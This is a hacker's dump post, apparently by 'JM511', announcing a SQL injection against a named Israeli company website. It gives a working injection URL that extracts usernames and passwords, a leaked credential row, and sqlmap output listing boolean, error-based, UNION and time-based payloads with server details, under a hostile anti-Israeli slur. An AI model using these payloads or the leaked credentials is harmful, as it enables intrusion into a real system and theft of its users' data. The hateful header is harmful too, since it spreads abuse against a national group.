published by JM511 > www.avicom.co.il

Published by JM511

Follow me : www.twitter.com/JM511

FUCK TO ISRAELI

==================

http://www.avicom.co.il/page.php?id=-2+union+select+1,group_concat%28username,0x3a,password%29,3,4+from+sismaot--

Database: avicom
Table: sismaot
[1 entry]
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 2  | mike     | imk      |
+----+----------+-----

Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3812=3812

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND (SELECT 5906 FROM(SELECT COUNT(*),CONCAT(0x3a6d6d663a,(SELECT (CASE WHEN (5906=5906) THEN 1 ELSE 0 END)),0x3a71776c3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: id=1 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a6d6d663a,0x61486b4e766356776264,0x3a71776c3a), NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)
---

[10:10:09] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2000
web application technology: ASP.NET, PHP 5.1.2, Microsoft IIS 5.0
back-end DBMS: MySQL 5.0
[10:10:09] [INFO] fetching database names
[10:10:09] [INFO] the SQL query used returns 2 entries
[10:10:09] [INFO] resumed: "information_schema"
[10:10:09] [INFO] resumed: "avicom"
available databases [2]:
[*] avicom
[*] information_schema

-----+